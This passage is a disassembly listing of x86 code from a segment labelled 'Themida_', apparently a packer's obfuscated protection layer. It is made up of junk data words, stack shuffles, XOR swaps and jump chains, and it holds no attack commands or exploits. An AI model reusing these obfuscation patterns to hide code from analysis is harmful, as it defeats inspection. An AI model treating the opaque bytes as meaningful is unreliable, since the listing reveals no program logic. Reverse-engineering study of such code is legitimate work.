		dd 0FFFFBC77h, 7D2C68h,	46DFE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55E9C6:				; CODE XREF: Themida_:00563E13j
		pop	esp
		push	small 320Dh
		mov	[esp], bx
		jmp	loc_557EE4
; ---------------------------------------------------------------------------


loc_55E9D4:				; CODE XREF: Themida_:0055DE87j
		add	esp, 4
		sub	ebp, 741E5199h
		pop	esi
		jmp	loc_55E8EA
; ---------------------------------------------------------------------------
		dw 0E3C0h
		dd 0E9506605h, 4A51h, 0E8C1405Ah, 63D13503h, 0E2E90E2Bh
		dd 0D3000005h, 0E99C242Ch, 0FFFFAFBDh, 80C3FE5Ah, 5152D8EBh
		dd 0EA88DD88h, 0FF7E65E9h, 4C483FFh, 4C0835Ah, 2474FF50h
		dd 48F5804h, 59E95C24h,	5AFFFFC9h, 338E95Bh, 0FA010000h
		dd 83C2295Fh, 1C8904ECh, 47EFBB24h, 0F3811AC2h,	7F1A6EEFh
		dd 2B60C281h, 0DA2943F3h, 2B60EA81h, 1C8B43F3h,	4C48324h
		dd 0FFE414E9h, 48B66FFh, 4EC8124h, 89000000h, 58542404h
		dd 0E6895655h, 4D40BA52h, 0F2811A78h, 0D4C4EF9h, 21BE281h
		dd 0BB5377D2h, 1710021Dh, 15BDA31h, 1E4BE9D6h, 0EBD10000h
		dd 0E907EBC1h, 0FFFF70D3h, 57D830ACh, 0C781E789h, 4, 4EC81h
		dd 14890000h, 0BF575124h, 2FD06EC1h, 5E65F781h,	0EF810310h
		dd 0C8BC2A2Eh, 3EE9F989h, 100005Dh, 0CCC181F9h,	5F0B7924h
		dd 0D2E9C831h, 81FFFFE7h, 8B3971C6h, 0FEF6811Bh, 0F757033Dh
		dd 21BA52DEh, 422FC672h, 5792EA81h, 0E2C13457h,	80ECE908h
		dd 0F380FFFFh, 5BD8281Bh, 5A665D2Ch
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_55E945
; ---------------------------------------------------------------------------
		dw 248Bh
		dd 2434FF24h, 0E924048Bh, 67C5h, 592434FFh, 16ED68h, 240C8900h
		dd 0BA525954h, 4, 0FFCB2BE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55EB45:				; CODE XREF: Themida_:00563E41j
		shr	esi, 1
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 58644CC4h
		push	ecx
		jmp	loc_559664
; ---------------------------------------------------------------------------


loc_55EB58:				; CODE XREF: Themida_:00554B1Dj
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		pop	esp
		jmp	loc_562885
; ---------------------------------------------------------------------------


loc_55EB67:				; CODE XREF: Themida_:0055A807j
		or	ebp, eax
		mov	eax, [esp]
		add	esp, 4
		push	ebx
		mov	ebx, 2199739Dh
		sub	ebp, ebx
		jmp	loc_55DA04
; ---------------------------------------------------------------------------
		db 31h
		dd 2CE9240Ch, 0C1FFFF9Dh, 0BD5504E2h, 6221368h,	0CD81D5F7h
		dd 6B583ECCh, 0ED81E5D1h, 9E736DB1h, 0E95DEA01h, 0FFFF3E9Bh
; ---------------------------------------------------------------------------


loc_55EBA8:				; CODE XREF: Themida_:00560FE1j
		or	ecx, 7EC8547Ah
		add	ecx, 53B0B93Ch
		or	eax, ecx
		pop	ecx
		jmp	loc_56138D
; ---------------------------------------------------------------------------
		dd 5B685756h, 5F732037h, 14B3EF81h, 0FE896AE7h,	1CF6E95Fh
		dd 0E929FFFFh, 0C72D5Dh, 0C801124Eh, 4E00C705h,	2434FF12h
		dd 4C48359h, 0BB53h, 0C3010000h, 212B3381h, 585B0B97h
		dd 0E92434FFh, 0FFFFBD58h, 4EC8358h, 0E9240C89h, 0FFFF331Fh
		dd 0C0FEE124h, 2403E9h
		db 0
; ---------------------------------------------------------------------------


loc_55EC15:				; CODE XREF: Themida_:00557E5Aj
		push	dword ptr [esp]
		pop	ebx
		push	ecx
		jmp	loc_5510D4
; ---------------------------------------------------------------------------
		db 33h
		dd 34312434h, 24343324h, 0FF8905E9h, 243C31FFh,	0FF3573E9h
		dd 241487FFh, 9F9CE95Ch, 37BFFFFFh, 3137B425h, 0E904247Ch
		dd 0FFFFE56Eh
; ---------------------------------------------------------------------------


loc_55EC4C:				; CODE XREF: Themida_:00550D85j
		add	edi, eax
		jmp	loc_55CBD1
; ---------------------------------------------------------------------------
		db 81h
		dd 0C92FBF5h, 48155E4h,	0BC595924h, 65BAE94Bh, 8B66FFFFh
		dd 54502404h, 0FFDDE6E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55EC71:				; CODE XREF: Themida_:00556C2Bj
		add	esp, 4
		xchg	ebp, [esp]
		jmp	loc_559D50
; ---------------------------------------------------------------------------
		db 89h
		dd 36E9241Ch, 0BFFFFFDBh, 55350C30h, 5555B850h,	0C7315D95h
		dd 5FFA0158h, 0C53E95Dh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55EC9E:				; CODE XREF: Themida_:00564E5Dj
		mov	ebp, 4
		jmp	loc_55E32C
; ---------------------------------------------------------------------------


loc_55ECA8:				; CODE XREF: Themida_:0055DF7Aj
		neg	edi
		jmp	loc_552A54
; ---------------------------------------------------------------------------


loc_55ECAF:				; CODE XREF: Themida_:00553EECj
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		jmp	loc_553F30
; ---------------------------------------------------------------------------


loc_55ECC3:				; CODE XREF: Themida_:00556AA2j
		add	edi, 6EF206FDh
		mov	ecx, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], edi
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_56429B
; ---------------------------------------------------------------------------
		db 80h,	0C3h, 0FBh
		dd 0EB80E300h, 0DE0058FBh, 0FFF61BE9h, 243487FFh, 242C895Ch
		dd 242C8B54h, 2E4DE956h, 0DBB0000h, 81536574h, 777E4CE3h
		dd 99CB8178h, 0E9781264h, 0FFFFFD6Eh, 0CE68D788h, 0E900001Dh
		dd 0FFFFEA1Fh, 3127E959h, 468FFFFh, 5B000000h, 2E9DA29h
		db 0BEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55ED4B:				; CODE XREF: Themida_:00554B47j
		xor	edx, 7A075BC0h
		dec	edx
		jmp	loc_55CC2D
; ---------------------------------------------------------------------------
		db 0BBh
		dd 70D75FB2h, 4636F381h, 0A1E91823h, 21FFFFC0h,	0B415E9EEh
		dd 0C580FFFFh, 1F0BE9F1h, 0C583FFFFh, 242C8704h, 2124248Bh
		dd 242C8BEEh, 4C481h, 0F6810000h, 3540BC3h, 6EB268h, 57F0E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55ED9A:				; CODE XREF: Themida_:0055A780j
		add	[esp+4], eax
		jmp	loc_560080
; ---------------------------------------------------------------------------
		db 8Bh
		dd 43E92424h, 53FFFF1Ah, 0FFFF65E9h, 0EF815FFFh, 423B0CD9h
		dd 0FF6A09E9h, 240C87FFh, 2EC835Ch, 240C8966h, 0ED80F9B5h
		dd 0C8F580FFh, 8B66EB28h, 0C481240Ch, 2, 833CEB80h, 0C8904ECh
		dd 52ACB124h, 0CAFEA7B2h, 8005F280h, 69E9F7E2h,	5BFFFFA9h
		dd 3B72ED81h, 0E1E96BFAh, 5BFFFFA4h, 7950EB81h,	2FE97172h
		db 0Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55EE0F:				; CODE XREF: Themida_:00550D9Bj
		push	edi
		mov	edi, 8590DB9h
		neg	edi
		inc	edi
		jmp	loc_5559FC
; ---------------------------------------------------------------------------
		db 1, 0C6h, 50h
		dd 405E089h, 68000000h,	197Ch, 0BE243489h, 4, 875EF029h
		dd 895C2404h, 0E3E9243Ch
		db 2Fh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55EE43:				; CODE XREF: Themida_:0055DCC6j
		pop	ebx
		add	ch, 6
		add	ch, 72h
		and	ch, 71h
		jmp	loc_560926
; ---------------------------------------------------------------------------


loc_55EE52:				; CODE XREF: Themida_:0055455Dj
		push	dword ptr [esp]
		mov	esi, [esp]
		add	esp, 4
		add	esp, 4
		jmp	loc_553E68
; ---------------------------------------------------------------------------


loc_55EE69:				; CODE XREF: Themida_:00560CD7j
		push	472268DAh
		pop	edi
		or	edi, 5DFA5F69h
		not	edi
		and	edi, 1B1C59EFh
		sub	edi, 0FFA28704h
		mov	esi, edi
		jmp	loc_564BD3
; ---------------------------------------------------------------------------
		dw 0E781h
		dd 29E04D99h, 1607C781h, 0FE89436Fh, 5EF2015Fh,	895AD701h
		dd 0C5B2E9FDh, 0C87FFFFh, 22ACE924h, 44BFFFFFh,	813B7E1Dh
		dd 0E66514EFh, 0F9E9532Ch, 8900002Eh, 4395E9E5h, 0C890000h
		dd 0FAE95424h, 81FFFF22h, 421CFAF2h, 334CE96Ch,	0D729FFFFh
		dd 0FF9D6AE9h, 468FFh, 55B0000h, 3188119Eh, 0FD32A705h
		dd 2DD80119h, 19FD32A7h, 0FF7058E9h, 0C5015BFFh, 666A6858h
		dd 4890000h, 6FBB5324h,	0E927992Fh, 460Ch, 53240489h, 97438FBBh
		dd 5BD8896Ch, 0FFACF2E9h, 243C8BFFh, 81E18951h,	4C1h, 4C18100h
		dd 0E9000000h, 0FFFF1D82h
; ---------------------------------------------------------------------------


loc_55EF3C:				; CODE XREF: Themida_:005610CDj
		pop	edi
		mov	ebx, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		add	ebx, 4
		push	6BB5h
		mov	[esp], edx
		jmp	loc_55F16E
; ---------------------------------------------------------------------------
		db 21h
		dd 0E99C2404h, 0FFFFC67Ah
; ---------------------------------------------------------------------------


loc_55EF6C:				; CODE XREF: Themida_:005567E8j
		and	ebx, 204D0038h
		sub	ebx, 0E45790D9h
		push	esi
		mov	esi, 3BFA4CF3h
		dec	esi
		shr	esi, 4
		add	esi, 3BDD2070h
		jmp	loc_55471A
; ---------------------------------------------------------------------------
		db 66h,	0BBh, 0D3h
		dd 0BC2D66CCh, 0F4056618h, 0D8296638h, 7C8E9h, 28FB0400h
		dd 2CFB2CF0h, 0D0285A27h, 0D2E94304h, 5AFFFF79h, 685EF701h
		dd 17B8h, 0E9243489h, 0FFFF5FAEh, 4282ED81h, 0C5814950h
		dd 7C981698h, 8124348Bh, 4C4h, 5DEA2900h, 0FF180DE9h, 58C701FFh
		dd 0FF39C7E9h, 8951ACFFh, 4C181E1h, 81000000h, 4E9h, 240C8700h
		dd 2414895Ch, 0B25BB050h, 0E9C230F0h, 0FFFFEA2Ah, 132570BDh
		dd 0A9ED8114h, 8102BB22h, 0D44329CDh, 0F1B85064h, 2D241C17h
		dd 0E9ECEFC8h, 0C158C529h, 0E58105EDh, 1C6A7447h, 0D7FED81h
		dd 0EF299B1Ch, 83242C8Bh, 48B04C4h, 4C48124h, 0E9000000h
		dd 0FFFF99F2h, 0E9241489h, 938h, 5312C681h, 27E93AD0h
		db 4Fh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55F063:				; CODE XREF: Themida_:0055AA1Fj
		mov	[esp], eax
		mov	eax, 0
		sub	eax, 3E34082Bh
		jmp	loc_558863
; ---------------------------------------------------------------------------


loc_55F075:				; CODE XREF: Themida_:0055625Ej
		sub	eax, 0FFFFFFFFh
		push	4DBEh
		mov	[esp], ebx
		mov	ebx, 3EC00FD0h
		inc	ebx
		add	ebx, 1A170B68h
		xor	eax, ebx
		pop	ebx
		push	6988h
		mov	[esp], edx
		mov	edx, 0
		sub	edx, 793220F1h
		sub	edx, 5ED65900h
		add	edx, 3684232Ch
		jmp	loc_55B83B
; ---------------------------------------------------------------------------
		db 81h,	0EBh, 42h
		dd 8139E367h, 0DF6C15C3h, 183EE96Dh, 0E9500000h, 0FFFFF79Ah
		dd 0C4E984B7h, 89000060h, 4C281E2h, 81000000h, 4C2h, 74FF5200h
		dd 41E90424h, 1000053h,	241C8BD8h, 5A04C483h, 0BE56D829h
		dd 30E947D8h, 525EF001h, 2506E1BAh, 90C28112h, 2D1DED34h
		dd 5B2F2EC8h, 0C805D001h, 5A5B2F2Eh, 0FFA622E9h, 242C89FFh
		dd 242C8B54h, 503968h, 24048900h, 0FF43CDE9h, 240C89FFh
		dd 7368E189h, 8900004Bh, 0D8BB241Ch, 5164D14Dh,	9A7180B9h
		dd 1AABE938h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55F14E:				; CODE XREF: Themida_:005640E3j
		add	ecx, eax
		xor	[ecx], esi
		jmp	loc_564A23
; ---------------------------------------------------------------------------
		db 50h
		dd 0FF29FDE9h, 0E9DFF7FFh, 0FFFF81F9h, 24048F5Eh, 0BC4BE95Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55F16E:				; CODE XREF: Themida_:0055EF5Ej
		push	ecx
		mov	ecx, 46F165A0h
		jmp	loc_555995
; ---------------------------------------------------------------------------
		db 89h,	0E2h, 81h
		dd 4C2h, 0B9515500h, 1E4A085Dh,	981944BDh, 59CD3159h, 24C2CD81h
		dd 0CD8145EFh, 420E486Ah, 3EABBB53h, 0DE950C1h,	8300000Ch
		dd 6C0104C4h, 34FF0424h, 1D65E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55F1B6:				; CODE XREF: Themida_:00554A2Aj
		add	ebx, 4
		sub	ebx, 4
		jmp	loc_55D200
; ---------------------------------------------------------------------------
		db 81h
		dd 0E71F98F3h, 243C8B26h, 4C481h, 0F7930000h, 4C90E9D0h
		dd 0C4810000h, 4, 4C681h, 11E90000h, 57000052h,	776D70BFh
		dd 67D3E96Ch, 34FFFFFFh, 240C8B24h, 4EC81h, 2C890000h
		dd 535D5424h, 0FFE946E9h, 8BEA29FFh, 0EC83242Ch, 24348904h
		dd 0C681E689h, 4, 8704C683h, 295C2434h,	15B850C2h, 1770340h
		dd 48B58C2h, 4C48324h, 8B241487h, 0A4E92424h
		db 0D7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55F247:				; CODE XREF: Themida_:0055854Cj
		add	dword ptr [esp+4], 7E543317h
		jmp	loc_551F54
; ---------------------------------------------------------------------------
		dd 0C105E3C1h, 28E908EBh, 89FFFF1Fh, 0D6E92404h, 5FFFFF75h
		dd 4BF57h, 0F8010000h, 2404875Fh, 0FC0095Ch, 0FF649484h
		dd 7ABC68FFh, 9EE90000h, 31FFFFECh, 148B66C3h, 67B46824h
		dd 34890000h, 5DE95424h, 31FFFF4Dh, 312AE9DFh, 15F0000h
		dd 52082444h, 0F645C8BAh, 2454292Ch, 0AC33E90Ch, 0BBB5FFFFh
		dd 0B4E9D5F6h
		db 0F3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55F2BF:				; CODE XREF: Themida_:005615A9j
		mov	[esp], ecx
		jmp	loc_562F24
; ---------------------------------------------------------------------------
		db 51h
		dd 0FF2851E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55F2CD:				; CODE XREF: Themida_:00552D09j
		and	edx, 55EF7D6Bh
		dec	edx
		jmp	loc_56156D
; ---------------------------------------------------------------------------
		db 89h,	0Ch, 24h
		dd 0D0DB56B9h, 0FFCD29F3h, 33E92434h, 87FFFFE9h, 248B241Ch
		dd 24248924h, 41D5E9h, 0B3536600h, 0DC88507Fh, 6658E588h
		dd 0B1C5805Bh, 0E580DDF6h, 80D5F646h, 0EB08C5F5h, 0FFF0AAE9h
		dd 24048BFFh, 4C481h, 0E9520000h, 0FFFF30BFh, 0FF2434FFh
		dd 835A2434h, 348904ECh, 81E68924h, 4C6h, 4EE8300h, 0E9243487h
		dd 0FFFF30C9h, 9CC5815Bh, 16B2C75h, 9CED81D5h, 5A6B2C75h
		dd 0E9242C87h, 0FFFFDD0Bh
; ---------------------------------------------------------------------------


loc_55F360:				; CODE XREF: Themida_:0055393Bj
		shr	ecx, 6
		sub	ecx, 3B543C46h
		xchg	esi, ecx
		not	esi
		xchg	esi, ecx
		sub	ecx, 1A4648C2h
		xor	ecx, 6B96719Bh
		mov	eax, ecx
		mov	ecx, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		jmp	loc_5603FD
; ---------------------------------------------------------------------------
		dd 8DE9505Dh, 8BFFFFC1h, 0C483241Ch, 43D3F704h,	2BB7C381h
		dd 555379D2h, 0FFB9D8E9h, 48B66FFh, 73686824h, 2C890000h
		dd 776824h, 8F540000h, 0BFE92404h, 51FFFF18h, 0D3686AB9h
		dd 81D1F742h, 8F7744C1h, 2BB3E916h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55F3DE:				; CODE XREF: Themida_:00560A52j
		mov	[esp], ebp
		mov	ebp, 56FB4D6Ah
		shr	ebp, 2
		push	ebp
		not	dword ptr [esp]
		jmp	loc_562F3F
; ---------------------------------------------------------------------------


loc_55F3F2:				; CODE XREF: Themida_:00551581j
		mov	ebp, 71DF527Eh
		jmp	loc_55D11B
; ---------------------------------------------------------------------------


loc_55F3FC:				; CODE XREF: Themida_:005542F5j
		pop	eax
		push	esi
		mov	esi, esp
		push	edi
		mov	edi, 4
		add	esi, edi
		pop	edi
		sub	esi, 4
		jmp	loc_553488
; ---------------------------------------------------------------------------


loc_55F411:				; CODE XREF: Themida_:0055B876j
		push	esi
		mov	esi, esp
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 79A52FE3h
		shl	edx, 2
		not	edx
		add	edx, 0FFFFFFFFh
		add	edx, 10E82AC9h
		push	ebx
		mov	ebx, 473508E5h
		or	ebx, 3E1866F6h
		jmp	loc_5532C5
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 0E2895259h, 591DE9h
		db 0
; ---------------------------------------------------------------------------


loc_55F44D:				; CODE XREF: Themida_:0055A118j
		add	esi, 0BF6DFF58h
		add	edi, esi
		jmp	loc_562347
; ---------------------------------------------------------------------------
		dw 0D6F7h
		dd 4414F681h, 0CE813B1Bh, 100722F8h, 0FF59AAE9h, 64E95CFFh
		dd 8900003Eh, 1B685FF9h, 89000040h, 68572404h, 3E1A38C6h
		dd 0DEF815Fh, 0C123963Eh, 0EC8102EFh, 4, 0FF9585E9h, 0F9168FFh
		dd 895D364Bh, 242C8BE9h, 1650E951h, 585F0000h, 335AD729h
		dd 3C31243Ch, 243C3324h, 2434895Ch, 0BD55E689h,	4, 575DEE01h
		dd 0DE1BA52h, 20E9210Fh, 1FFFFE2h, 0E7ACE9CDh, 0C15FFFFFh
		dd 0BE5603EBh, 6DF2440Ch, 0FF2FEEE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55F4E9:				; CODE XREF: Themida_:00555523j
		sub	esi, 6F37DB4h
		sub	esi, ebp
		add	esi, 6F37DB4h
		pop	ebp
		sub	esi, 7830535Fh
		jmp	loc_5649CC
; ---------------------------------------------------------------------------
		db 0F7h
		dd 0BB5392D8h, 5F1265C5h, 4B27E381h, 504B3368h,	0C979B8B8h
		dd 25D8F726h, 4908786Fh, 79635A0Dh, 14D46818h, 34890000h
		dd 6F4BBE24h, 0F02173E8h, 6E6C0D5Eh, 9A350739h,	310C3140h
		dd 0F38158C3h, 0B2B791F4h, 0FF7C73E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55F54D:				; CODE XREF: Themida_:00550F57j
		push	edi
		mov	edi, 7F352E79h
		jmp	loc_55D961
; ---------------------------------------------------------------------------
		dd 0E904EC83h, 0FFFF176Ch, 534CBD55h, 0EDD1221Ch, 38F0ED81h
		dd 0E945775Bh, 0FFFF536Dh, 66515966h, 8087B353h, 0E3C004CBh
		dd 4AB45005h, 5E54E9h
		db 0
; ---------------------------------------------------------------------------


loc_55F589:				; CODE XREF: Themida_:00560296j
		push	esi
		jmp	loc_556F91
; ---------------------------------------------------------------------------
		db 89h
		dd 90BD242Ch, 291E7E65h, 52505DEAh, 0A60FC9BAh,	8B8FE964h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55F5A6:				; CODE XREF: Themida_:005555EAj
		mov	ebp, ebx
		mov	ebx, [esp]
		jmp	loc_55535D
; ---------------------------------------------------------------------------
		dd 9804EC24h, 8358C328h, 1DE904ECh, 9FFFFE5h, 0E6C159CEh
		dd 81EED107h, 343526C6h, 0E9F701B1h, 0FFFF733Dh, 4246C81h
		dd 5C08774Dh, 4245C01h,	4244481h, 5C08774Dh, 4244481h
		dd 5066192Ch, 81241C8Bh, 4C4h, 243C8B00h, 8304C483h, 348904ECh
		dd 78916824h, 575E14D1h, 211F5CBFh, 4DD4E964h, 8B66FFFFh
		dd 5453240Ch, 5B2434FFh, 6804C483h, 7FB3h, 0BD242C89h
		dd 4, 3BF7B850h, 0B951093Bh, 57FB1D68h,	5504E1C1h, 435FD2BDh
		dd 8BE92931h, 0C481242Ch, 4, 0FFABBEE9h, 0FFC583FFh, 0B493E945h
		dd 0D9F6FFFFh, 0D0EBB450h, 558E9ECh, 0BF660000h, 0C166070Ah
		dd 816606EFh, 0E918A0F7h, 0FFFF8F09h
; ---------------------------------------------------------------------------


loc_55F67C:				; CODE XREF: Themida_:00557FE5j
		mov	ecx, esp
		add	ecx, 4
		push	3415h
		jmp	loc_56549A
; ---------------------------------------------------------------------------
		dw 2C89h
		dd 4BD24h, 44810000h, 67910424h, 6C013CC2h, 0E9570424h
		dd 7F6h, 0E95BDE89h, 0FFFF9DB6h, 3D14BE56h, 0DEF7486Ch
		dd 0E681DEF7h, 662E7CF6h, 8104E6C1h, 5F4C38C6h,	5EF23136h
		dd 0FF4A1DE9h, 4C483FFh, 0FF5965E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55F6D9:				; CODE XREF: Themida_:00552BC5j
		sub	ecx, 38B8005Dh
		add	ecx, 6CE35DBEh
		add	ecx, esi
		push	edx
		mov	edx, 64525F2Eh
		sub	edx, 626C76AEh
		shl	edx, 1
		or	edx, 40C47248h
		xor	edx, 79B7327Bh
		add	edx, 326A9C8Bh
		sub	ecx, edx
		pop	edx
		add	ecx, 38B8005Dh
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		xor	ecx, 0DB09EB76h
		and	eax, ecx
		push	dword ptr [esp]
		pop	ecx
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		shr	eax, 18h
		xor	eax, ecx
		sub	esp, 4
		mov	[esp], eax
		xchg	eax, [esp]
		push	eax
		xchg	edx, [esp]
		push	169Bh
		mov	[esp], edx
		not	dword ptr [esp]
		pop	edx
		push	780Ch
		jmp	loc_552E06
; ---------------------------------------------------------------------------
		dw 0F181h
		dd 534D547Fh, 40E9E9h, 0B6E95600h, 5AFFFF42h, 0FF1B83E9h
		dd 0A3BD55FFh, 178AD4Ah, 2434FFEEh, 0FF7E36E9h,	0C8966FFh
		dd 0E4B35324h, 0FF1C70E9h, 0B2EA81FFh, 0E976A838h, 0FFFF4892h
		dd 4055Ah, 4870000h, 0E1F75C24h, 267968h, 24148900h, 12E99C50h
		dd 5EFFFFA6h, 0E2F7815Fh, 57051E05h, 348B5F59h,	4C48324h
		dd 2FC1E9h, 0C3E98100h,	0E90FF543h, 0FFFF9499h,	1C25C281h
		dd 6AE9165Fh, 5B00003Bh, 6384F381h, 0DE018C6Ch,	167BE9h
		db 0
; ---------------------------------------------------------------------------


loc_55F7F1:				; CODE XREF: Themida_:0055727Ej
		inc	esi
		inc	esi
		push	ecx
		mov	ecx, 0B446A8DCh
		add	esi, ecx
		pop	ecx
		mov	ebp, esi
		pop	esi
		sub	eax, 5260442Eh
		sub	eax, 1F652A49h
		jmp	loc_56253D
; ---------------------------------------------------------------------------


loc_55F80E:				; CODE XREF: Themida_:00552202j
		push	eax
		push	5379h
		mov	[esp], edx
		mov	edx, 0CE46077h
		jmp	loc_550A78
; ---------------------------------------------------------------------------
		db 80h,	0F4h, 1Ah
aAUaLFS		db 'UL',7,'/',0
		align 2
		dw 0EC81h
		dd 4, 0E9243C89h, 0FFFF365Ch, 0BB53595Dh, 7E52C95h, 10FBE9h
		db 0
; ---------------------------------------------------------------------------


loc_55F84D:				; CODE XREF: Themida_:00552FA2j
		add	ebx, 5C959D1h
		jmp	loc_55499D
; ---------------------------------------------------------------------------
		dd 118768h, 51E5E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55F862:				; CODE XREF: Themida_:0055AA0Aj
		not	edx
		inc	edx
		sub	edx, 9B8ABA14h
		mov	ebp, edx
		pop	edx
		push	edx
		mov	edx, 6AC56D8h
		and	edx, 29E96601h
		or	edx, 7F473EBBh
		jmp	loc_555AC5
; ---------------------------------------------------------------------------
		db 34h,	96h, 0Ch
		dd 0E931041Dh, 0FFFF1BFFh, 1117685Bh, 1C890000h, 3685E924h
		dd 0F488FFFFh, 0FF6683E9h, 4055BFFh, 0E9000000h, 0FFFF7C1Fh
		dd 95E9C529h, 0C0FFFF30h, 8DE904EAh, 87FFFF2Fh,	248B240Ch
		dd 0C83B6624h, 0F20E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55F8CE:				; CODE XREF: Themida_:0055BF0Fj
		inc	eax
		xor	eax, 0B4B6CD8Fh
		xor	ebx, eax
		pop	eax
		mov	edi, ebx
		jmp	loc_55E147
; ---------------------------------------------------------------------------


loc_55F8DE:				; CODE XREF: Themida_:00554DEFj
		add	eax, 4
		add	eax, 2
		xchg	eax, [esp]
		pop	esp
		push	ax
		jmp	loc_55B3B4
; ---------------------------------------------------------------------------
		db 0E9h, 0F8h, 0Eh
		dd 8B66FFFFh, 54682404h, 89000014h, 5A542414h, 7DB668h
		dd 7085E900h, 0DA29FFFFh, 0B75FE95Bh, 0E95AFFFFh, 0FFFFCA62h
		dd 9D1C77FFh, 24041158h, 0EC4E99Ch, 5A5EFFFFh, 685BDE01h
		dd 3BF5h, 0FF28DCE9h, 0C8B66FFh, 9489E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55F942:				; CODE XREF: Themida_:00560201j
		pop	dword ptr [esp]
		jmp	loc_550ECD
; ---------------------------------------------------------------------------
		dw 5742h
		dd 0FDBD9ABFh, 9096E9FFh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55F956:				; CODE XREF: Themida_:00563035j
		mov	[esp], ebp
		mov	ebp, 6F2728Bh
		add	ecx, ebp
		pop	ebp
		add	ecx, edx
		sub	ecx, 6F2728Bh
		mov	edx, [esp]
		add	esp, 4
		xor	ecx, [esp]
		xor	[esp], ecx
		jmp	loc_5554D8
; ---------------------------------------------------------------------------


loc_55F97D:				; CODE XREF: Themida_:00550A0Bj
		add	ch, bh
		pop	ebx
		sub	ch, 0C6h
		add	ch, bl
		add	ch, 0C6h
		push	edx
		mov	dh, 4Ch
		jmp	loc_562340
; ---------------------------------------------------------------------------
		dd 4BAh, 4F8EE900h, 3C890000h, 63FF6824h, 67E90000h, 66FFFFEAh
		dd 5A5FF889h, 4F63E95Eh, 0C1810000h, 4,	8704C183h, 0E95C240Ch
		dd 0FFFF0E2Ah, 0E78BE5BBh, 25C0E9A5h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55F9CE:				; CODE XREF: Themida_:00558A19j
		add	eax, 4
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		mov	esp, [esp]
		push	eax
		push	7CEFh
		mov	[esp], eax
		mov	eax, 7B3D27B5h
		push	4ED0h
		mov	[esp], edx
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 4AB90269h
		mov	edx, 48056CC2h
		xor	edx, 0B07040E2h
		add	edx, edi
		jmp	loc_558522
; ---------------------------------------------------------------------------
		db 8Fh
		dd 248B2404h, 24248924h, 4240481h, 0E9000000h, 0FFFFACFCh
; ---------------------------------------------------------------------------


loc_55FA28:				; CODE XREF: Themida_:00564B4Dj
		push	4734h
		mov	[esp], eax
		xor	[esp], ebp
		xor	ebp, [esp]
		xor	[esp], ebp
		jmp	loc_553AD8
; ---------------------------------------------------------------------------
		dw 0DBF7h
		dd 4F28E381h, 0C3812FA2h, 0FCBBFBD3h, 0E95BD989h, 0FFFF18B5h
; ---------------------------------------------------------------------------


loc_55FA54:				; CODE XREF: Themida_:0055907Aj
		push	ebx
		mov	bh, 5Ch
		add	bh, 0FEh
		mov	ah, bh
		jmp	loc_56550E
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 4
aPritsk		db '$PR ',0
		align 2


loc_55FA6E:				; CODE XREF: Themida_:0056452Ej
		push	ebx
		mov	ebx, 4
		sub	ecx, ebx
		pop	ebx
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	edi
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp


loc_55FA96:				; CODE XREF: Themida_:0055DC59j
		sub	esp, 4
		mov	[esp], ebx
		push	dword ptr [esp]
		mov	eax, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_55265E
; ---------------------------------------------------------------------------
		db 5Fh,	5Ah, 21h
		dd 2434FFF8h, 8B2434FFh, 0C483243Ch, 5D545504h,	4C581h
		dd 0F9E90000h, 68FFFFC1h, 494978BCh, 0E9814159h, 75166121h
		dd 0FF577FE9h, 98E95BFFh, 89FFFF4Dh, 0EC812414h, 4, 68241C89h
		dd 6ABE318Eh, 0FF8053E9h, 0DC680FFh, 305AF730h,	0F1085BFEh
		dd 8124148Bh, 4C4h, 40E98000h, 6866h, 8A240C28h, 95E9240Ch
		db 6Ah,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55FB2B:				; CODE XREF: Themida_:0055E8D7j
		mov	esi, [esp]
